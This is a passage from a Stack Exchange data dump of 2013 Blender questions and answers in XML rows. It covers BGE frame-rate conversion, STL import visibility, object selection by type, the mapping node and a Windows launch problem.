&lt;em&gt;Action frame&lt;/em&gt; and 16th &lt;em&gt;BGE frame&lt;/em&gt; corresponds to the 6th &lt;em&gt;Action frame&lt;/em&gt; -- so &lt;em&gt;roughly&lt;/em&gt; 5 &lt;em&gt;BGE frames&lt;/em&gt; corresponds to 2 &lt;em&gt;Action frames&lt;/em&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming that the action starts playing when BGE frame is 0, &lt;strong&gt;in what way can we compute the &lt;em&gt;Action frame&lt;/em&gt; from the &lt;em&gt;BGE frame&lt;/em&gt; and vice-versa?&lt;/strong&gt; More precisely, I'm looking something like:&lt;/p&gt;&#xA;&#xA;&lt;pre class=&quot;lang-py prettyprint-override&quot;&gt;&lt;code&gt;import bge&#xA;&#xA;BGE_frame = 0&#xA;&#xA;def main(cont):&#xA;    global BGE_frame&#xA;&#xA;    print(BGE_frame)&#xA;    print(BGE_frame_to_Animation_frame(BGE_frame)) # TODO: Outputs same result as above&#xA;&#xA;    BGE_frame += 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If it is needed here's the .blend file: &lt;a href=&quot;http://wikisend.com/download/114182/framerate.blend&quot;&gt;http://wikisend.com/download/114182/framerate.blend&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="667" LastActivityDate="2013-09-06T10:35:40.730" Title="Relation between BGE framerate and Action framerate" Tags="&lt;python&gt;&lt;scripting&gt;&lt;animation&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2185" PostTypeId="2" ParentId="2184" CreationDate="2013-08-07T10:09:39.387" Score="2" Body="&lt;p&gt;I think I solved it as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy, bge&#xA;&#xA;BGE_frame = 0&#xA;&#xA;scene = bge.logic.getCurrentScene()&#xA;bpy_scene = bpy.data.scenes[scene.name]&#xA;&#xA;BPY_FPS = bpy_scene.render.fps / bpy_scene.render.fps_base&#xA;BGE_FPS = bge.logic.getLogicTicRate()&#xA;&#xA;BPY_BGE_RATIO = BPY_FPS / BGE_FPS&#xA;&#xA;def BGE_frame_to_Animation_frame(BGE_frame):&#xA;    return BGE_frame * BPY_BGE_RATIO&#xA;&#xA;def main(cont):&#xA;    global BGE_frame&#xA;&#xA;    arm = cont.owner&#xA;&#xA;    print(BGE_frame)&#xA;    print(arm.getActionFrame()) # Kept for comparison&#xA;    print(BGE_frame_to_Animation_frame(BGE_frame)) # Outputs approx. same result as above&#xA;&#xA;    if not arm.isPlayingAction():&#xA;        arm.playAction(&quot;run&quot;, 0, 45, play_mode=bge.logic.KX_ACTION_MODE_PLAY)&#xA;        BGE_frame = 0&#xA;    else:&#xA;        BGE_frame += 1        &#xA;&#xA;    print(&quot;\n&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not sure of it is a good practice to access blender data from BGE, but it works :-) Comments/suggestions are welcome! Thanks.&lt;/p&gt;&#xA;" OwnerUserId="667" LastActivityDate="2013-08-07T10:09:39.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2186" PostTypeId="1" AcceptedAnswerId="2188" CreationDate="2013-08-07T11:29:20.503" Score="6" ViewCount="1458" Body="&lt;p&gt;I am new to blender and am unsuccessfully trying to open an STL file.&lt;/p&gt;&#xA;&lt;p&gt;Our own &lt;a href=&quot;http://www.vivoquant.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;visualization software&lt;/a&gt; offers STL export via a library called &lt;a href=&quot;http://www.vtk.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;VTK&lt;/a&gt;, which we can import into other CAD software (e.g. to &lt;a href=&quot;https://blog.invicro.com/2013/07/23/exporting-vq-rois-to-the-real-world/&quot; rel=&quot;nofollow noreferrer&quot;&gt;feed into a 3D printer&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;Blender's &lt;em&gt;Import Stl&lt;/em&gt; function also loads the exported STL file, and I do see the number of vertices, faces, tris, objects, etc. increase, however, I fail to see anything in the view.&lt;/p&gt;&#xA;&lt;p&gt;I assume this comes from my lack of even basic understanding of how blender works and that for instance the faces are just transparent, or everything is very small or somehow else rendered invisible.&lt;/p&gt;&#xA;&lt;p&gt;Could one of you please have a quick look at the &lt;a href=&quot;http://www.vivoquant.com/blender/mouse-atlas.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;STL file&lt;/a&gt; and give me a hint of what I am doing wrong?&lt;/p&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Rendering in our own &lt;a href=&quot;http://www.vivoquant.com/blender/mouse.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;VivoQuant software&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;What I get after import to Blender:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tEHPm.png&quot; alt=&quot;blank startup scene&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="1060" LastEditorUserId="241" LastEditDate="2020-06-26T13:11:24.597" LastActivityDate="2020-06-26T13:11:24.597" Title="Trouble importing STL produced by VTK" Tags="&lt;import&gt;&lt;file-format&gt;&lt;stl&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="2187" PostTypeId="2" ParentId="2181" CreationDate="2013-08-07T12:51:25.893" Score="0" Body="&lt;p&gt;You can use the shortcut &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt;. Despite it's name is &lt;em&gt;Select Grouped&lt;/em&gt;, it actually will select similar objects (in object mode) or similar vertices/edges/faces in edit mode based upon the criteria you select.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do what you are asking:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Do your rough selection (making sure to make a lamp the active object)&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt; and select &lt;em&gt;Type&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-08-07T12:51:25.893" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2188" PostTypeId="2" ParentId="2186" CreationDate="2013-08-07T12:53:23.737" Score="7" Body="&lt;p&gt;The import goes fine, but the model isn't visible in the viewport because the view isn't pointing at it, you could do a few things:  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;zoom out  (&lt;kbd&gt;mouse wheel&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;rotate the view. (&lt;kbd&gt;middle mouse button&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;press &lt;kbd&gt;home&lt;/kbd&gt; to View All.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ZicjE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Data_System/The_Outliner&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Outliner View&lt;/em&gt;&lt;/a&gt; to see if the object imported, then select the object by clicking the name.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0Lb63.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;With the mouse cursor in the &lt;em&gt;&lt;code&gt;3D View&lt;/code&gt;&lt;/em&gt; press &lt;kbd&gt;.&lt;/kbd&gt; (period) to focus the view on the selected object.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="47" LastEditorUserId="599" LastEditDate="2013-08-07T21:34:08.577" LastActivityDate="2013-08-07T21:34:08.577" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2191" PostTypeId="2" ParentId="2181" CreationDate="2013-08-07T16:55:07.840" Score="2" Body="&lt;p&gt;My current solution (without coding) is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make the rough selection (it doesn't matter whether the last selected one is the type you want to filter);&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;G&lt;/kbd&gt; twice to create two &quot;temp&quot; groups based on the selection, name them as &quot;temp_lamp_filter&quot; and &quot;temp_camera_filter&quot; or whatever you want, of course;&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;A&lt;/kbd&gt; to deselect all, then select any lamp in the scene (needn't be within that group), &lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;G&lt;/kbd&gt; &gt; &quot;Type&quot;, then &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;I&lt;/kbd&gt;, then &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;Alt&lt;/kbd&gt; &lt;kbd&gt;G&lt;/kbd&gt; &gt; &quot;temp_lamp_filter&quot;;&lt;/li&gt;&#xA;&lt;li&gt;Repeat last step for cameras;&lt;/li&gt;&#xA;&lt;li&gt;In Outliner, change filter to &quot;Groups&quot;, hold down Shift and select both groups, which will form the final filtered result. Keep or delete them after editing as you wish.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Advantage&lt;/strong&gt;: Can be universal to solve my case (or any case); Nice for those who know little about coding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Disadvantage&lt;/strong&gt;: Less effective (e.g. than the coding way suggested by zeffii).&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2013-08-07T16:55:07.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2194" PostTypeId="2" ParentId="2181" CreationDate="2013-08-07T18:53:00.423" Score="5" Body="&lt;p&gt;You may be in Local View but each 3D View can have it's own. So…&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Interface/Window_system/Arranging_frames#Splitting_a_window&quot; rel=&quot;nofollow noreferrer&quot;&gt;Split 3D View&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;View | &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Navigating/Global_or_Local_View&quot; rel=&quot;nofollow noreferrer&quot;&gt;View Global/Local&lt;/a&gt;&lt;/kbd&gt; (&lt;kbd&gt;Numpad /&lt;/kbd&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will limit your view and selections operations the those included in the initial selection.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select desired objects:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;For names, &lt;kbd&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Selecting#Other_Menu_Options&quot; rel=&quot;nofollow noreferrer&quot;&gt;Select | Select Pattern…&lt;/a&gt;&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For types use &lt;kbd&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Selecting#Select_All_by_Type&quot; rel=&quot;nofollow noreferrer&quot;&gt;Select | Select all of Type…&lt;/a&gt;&lt;/kbd&gt; or &lt;kbd&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Selecting#Select_Grouped&quot; rel=&quot;nofollow noreferrer&quot;&gt;Select | Grouped&lt;/a&gt; | Type&lt;/kbd&gt; (&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;G&lt;/kbd&gt;,&lt;kbd&gt;T&lt;/kbd&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For both cameras and lamps use the &lt;em&gt;Extend&lt;/em&gt; option. &lt;img src=&quot;https://i.stack.imgur.com/ah3Zx.gif&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Interface/Window_system/Arranging_frames#Joining_two_frames&quot; rel=&quot;nofollow noreferrer&quot;&gt;Rejoin frames&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditDate="2013-08-08T09:29:05.213" LastActivityDate="2013-08-08T09:29:05.213" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2195" PostTypeId="1" AcceptedAnswerId="2271" CreationDate="2013-08-07T19:45:55.553" Score="5" ViewCount="1640" Body="&lt;p&gt;I've seen the new text functions for the BGE and they are wonderful, I wanted so to try to make some zelda like text, writing, letter by letter (and with different speeds, but that's another step).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just got stuck with the delay in the for cycle for &quot;printing&quot; the letters into the variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the classic time.sleep(0.5) freezes the game, so I went back and tried with the pulse of an always sensor. Now I don`t know how to use it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is my poor code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;&#xA;cont = bge.logic.getCurrentController()&#xA;own = cont.owner&#xA;&#xA;time = cont.sensors[&quot;Timer&quot;]&#xA;&#xA;def delay_print(s):&#xA;    w = &quot;&quot;&#xA;    for c in s:&#xA;        if time == True:&#xA;            w += str(c)&#xA;        own.text = w&#xA;&#xA;&#xA;delay_print(&quot;hello world1223456789af2f2rvetbdfb&quot;)&#xA;&#xA;own.size = 0.2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1063" LastActivityDate="2013-08-10T03:56:11.313" Title="BGE: Writing text letter by letter" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2196" PostTypeId="2" ParentId="2180" CreationDate="2013-08-07T20:30:45.820" Score="10" Body="&lt;p&gt;I just tried out using the shrinkwrap modifier and it worked. Set the mode to &quot;project&quot;. You might have to make a separate mesh that the ocean shrinkwraps to that doesn't include those things that look like rocks and stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dUiK2.png&quot; alt=&quot;ocean sim with shrinkwrap&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beyond that, you might also want to look into using &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Fluid&quot; rel=&quot;noreferrer&quot;&gt;fluid simulation&lt;/a&gt; or animating little waves or something similar if this isn't what you're after.&lt;/p&gt;&#xA;" OwnerUserId="240" LastEditorUserId="599" LastEditDate="2013-08-07T21:15:00.520" LastActivityDate="2013-08-07T21:15:00.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2197" PostTypeId="2" ParentId="2177" CreationDate="2013-08-07T20:52:01.000" Score="7" Body="&lt;p&gt;This is a bug in Blender, I've reported it on your behalf.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting &lt;code&gt;image.colorspace_settings.name&lt;/code&gt; changes the alpha at the moment, &lt;a href=&quot;https://projects.blender.org/tracker/index.php?func=detail&amp;amp;aid=36408&amp;amp;group_id=9&amp;amp;atid=498&quot; rel=&quot;nofollow noreferrer&quot;&gt;reported&lt;/a&gt; (now fixed!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This script works, notice it sets filepath_raw, which prevents reloading to the new path.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;image = bpy.data.images.new(&quot;Sprite&quot;, alpha=True, width=16, height=16)&#xA;image.use_alpha = True&#xA;image.alpha_mode = 'STRAIGHT'&#xA;image.filepath_raw = &quot;//Sprite.png&quot;&#xA;image.file_format = 'PNG'&#xA;image.save()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2017-07-21T04:32:09.797" LastActivityDate="2017-07-21T04:32:09.797" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2198" PostTypeId="2" ParentId="2180" CreationDate="2013-08-07T21:15:36.863" Score="6" Body="&lt;p&gt;The &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Deform/Lattice&quot; rel=&quot;noreferrer&quot;&gt;lattice&lt;/a&gt; can be subdivided in the &lt;em&gt;Properties &gt; Object data tab&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WsEQV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way the lattice influence can be left at 1.0:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hNLEe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="599" LastEditDate="2013-08-07T21:28:05.210" LastActivityDate="2013-08-07T21:28:05.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2200" PostTypeId="2" ParentId="1258" CreationDate="2013-08-07T23:23:44.533" Score="14" Body="&lt;p&gt;You can simply use the mapping node and check the min and max boxes.&#xA;Set the number of repeats in the values next to max check boxes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check my example here:&#xA; &lt;img src=&quot;https://i.stack.imgur.com/3JGQT.png&quot; alt=&quot;https://dl.dropboxusercontent.com/u/62273197/MappingNode.png&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1064" LastEditorUserId="599" LastEditDate="2013-08-07T23:31:31.947" LastActivityDate="2013-08-07T23:31:31.947" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2201" PostTypeId="1" AcceptedAnswerId="2202" CreationDate="2013-08-08T00:17:49.997" Score="6" ViewCount="17203" Body="&lt;p&gt;Prompted by my &lt;a href=&quot;https://blender.stackexchange.com/questions/1258/cycles-option-to-turn-off-texture-tiling/2200?noredirect=1#2200&quot;&gt;previous question&lt;/a&gt;, I am wondering how to use the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Materials/Nodes/Types/Vector#Mapping_Node&quot; rel=&quot;nofollow noreferrer&quot;&gt;mapping node&lt;/a&gt;.&#xA;(I still don't understand, even after reading the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Materials/Nodes/Types/Vector#Mapping_Node&quot; rel=&quot;nofollow noreferrer&quot;&gt;mapping node section on the wiki&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bcMDH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Top:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ENvDN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bottom:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cu7ih.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scaling the UV map of the cube does not make the texture appear larger or smaller, nor does changing the &lt;em&gt;Scale&lt;/em&gt; on the mapping node. (Changing the scale seems to drag and stretch the texture off to one side, high values make it disappear completely)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My confusion is not helped by the fact that it appears differently in Textured, Material, and Rendered views.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Textured:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lxHro.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;em&gt;Textured view&lt;/em&gt;, Scaling the UV map &lt;strong&gt;does&lt;/strong&gt; change the size of the texture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/U8DQB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kr8nV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it looks completely different in Material view:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oXog3.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone explain how the mapping node should be operated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2013-08-08T01:09:45.977" Title="How to Use the Mapping node?" Tags="&lt;nodes&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2202" PostTypeId="2" ParentId="2201" CreationDate="2013-08-08T01:09:45.977" Score="6" Body="&lt;p&gt;Looking at your node setup it looks like you are using Blender's automatic mapping. While the mapping node may be used to scale the Generated map around, it won't affect your textured/material views. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want the textured and material views to match up with the render, you will need to use the UV output (from the &lt;em&gt;Texture Coordinate&lt;/em&gt; node) instead of generated.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-08-08T01:09:45.977" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2203" PostTypeId="1" CreationDate="2013-08-08T03:08:02.630" Score="13" ViewCount="40459" Body="&lt;p&gt;I installed blender on a windows 7 64 bit system.  I opened it one time then went to the tutorials.  in the meantime I had a power failure and when I tried to start blender again I get a dos window that closes itself then nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I reinstalled Blender and get the same thing.  I am going to try to uninstall then reinstall but in the mean time, any other suggestions are welcome.&lt;/p&gt;&#xA;" OwnerUserId="1066" LastEditorUserId="55" LastEditDate="2013-08-08T06:35:24.513" LastActivityDate="2015-03-02T11:52:25.763" Title="Console flashes on launching, then closes (ms-windows)" Tags="&lt;windows&gt;" AnswerCount="4" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2204" PostTypeId="5" CreationDate="2013-08-08T03:23:16.383" Score="0" Body="" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-08-08T03:23:16.383" LastActivityDate="2013-08-08T03:23:16.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2205" PostTypeId="4" CreationDate="2013-08-08T03:23:16.383" Score="0" Body="Use this tag for any issues regarding installing/uninstalling Blender." OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-08-08T03:23:16.383" LastActivityDate="2013-08-08T03:23:16.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2206" PostTypeId="1" AcceptedAnswerId="2217" CreationDate="2013-08-08T04:35:37.273" Score="5" ViewCount="3548" Body="&lt;p&gt;Is it (if at all) possible in Blender 2.6+? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, will future versions of Blender support it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see some old posts (&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?208595-BGE-without-Logic-Editor-directly-in-Python&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; and &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?198481-How-to-create-sensors-and-actuators-with-Python&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt;) saying that it is not possible. However, I found &lt;a href=&quot;https://stackoverflow.com/a/17003209/155813&quot;&gt;a recent post&lt;/a&gt; referring to operators under &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_release/bpy.ops.logic.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;bpy.ops.logic&lt;/code&gt; package&lt;/a&gt; that allowed me to add sensors and controllers from python.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.logic.sensor_add(type='ALWAYS', object=my_obj.name)&#xA;bpy.ops.logic.controller_add(type='LOGIC_AND', object=my_obj.name)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However I am not able to find any way to link them from python. I tried following (but &lt;strong&gt;did not work&lt;/strong&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;new_controller = my_obj.controllers[-1]&#xA;new_sensor = my_obj.sensors[-1]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It throws &lt;code&gt;AttributeError&lt;/code&gt; saying that &lt;code&gt;object has no attribute 'controllers'&lt;/code&gt; :-/&lt;/p&gt;&#xA;" OwnerUserId="667" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2018-09-11T22:57:33.637" Title="Manipulate BGE logic bricks through python" Tags="&lt;python&gt;&lt;scripting&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2207" PostTypeId="1" CreationDate="2013-08-08T04:44:00.160" Score="4" ViewCount="290" Body="&lt;p&gt;I have seen scripts taking user preference values using classes built over AddonPreferences. Is it possible to do the same using extensions_framework by Doug Hammond. Why I am asking this is I need to get a path to an executable from the user, like a path to a renderer. The script which I made does all its class registration / unregister happens through EF. So is it possible to get the path from pref?&lt;/p&gt;&#xA;" OwnerUserId="1067" LastEditorUserId="241" LastEditDate="2013-08-08T12:14:28.117" LastActivityDate="2013-08-11T08:45:35.823" Title="How to do AddonPreferences using extensions_framework?" Tags="&lt;scripting&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2208" PostTypeId="2" ParentId="2203" CreationDate="2013-08-08T04:46:09.890" Score="1" Body="&lt;p&gt;Difficult to say what's going on there Bill, but sounds to me like a registry issue or an over zealous virus scanner that associates the shutdown with the programs running at the time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;A temporary solution&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible to run blender without installing it, there are portable .zip archives available from either the &lt;a href=&quot;http://www.blender.org/download/get-blender/&quot; rel=&quot;nofollow&quot;&gt;main download links&lt;/a&gt; on blender.org or daily development builds at &lt;a href=&quot;http://builder.blender.org/download/&quot; rel=&quot;nofollow&quot;&gt;builder.blender.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unpack any of these zips to a convenient directory, and start blender by clicking the blender.exe from there.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-08-08T04:57:40.100" LastActivityDate="2013-08-08T04:57:40.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2209" PostTypeId="2" ParentId="2203" CreationDate="2013-08-08T05:50:54.147" Score="11" Body="&lt;p&gt;More than likely the problem is that your &lt;code&gt;startup.blend&lt;/code&gt; and or &lt;code&gt;userpref.blend&lt;/code&gt; file was corrupted. To fix this, just navigate to the user settings directory and delete them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Windows, the directory is located at &#xA;&lt;code&gt;C:\Users\USER_NAME\AppData\Roaming\Blender Foundation\Blender\2.xx\config&lt;/code&gt;. See &lt;a href=&quot;https://blender.stackexchange.com/questions/78/how-would-i-import-export-blenders-preferences/82#82&quot;&gt;this post&lt;/a&gt; for more information on how to locate this directory on your os. This can work for both portable copies and installations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;OR&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When uninstalling the program, tick &lt;em&gt;Remove all files&lt;/em&gt; (second option) to make it delete the directory and then reinstall.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TEeEN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next time you start Blender, it should start normally and if you tweak the interface and or change the user preferences and save them, it will write out new copies of these files with your new settings.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-02-01T18:37:22.917" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
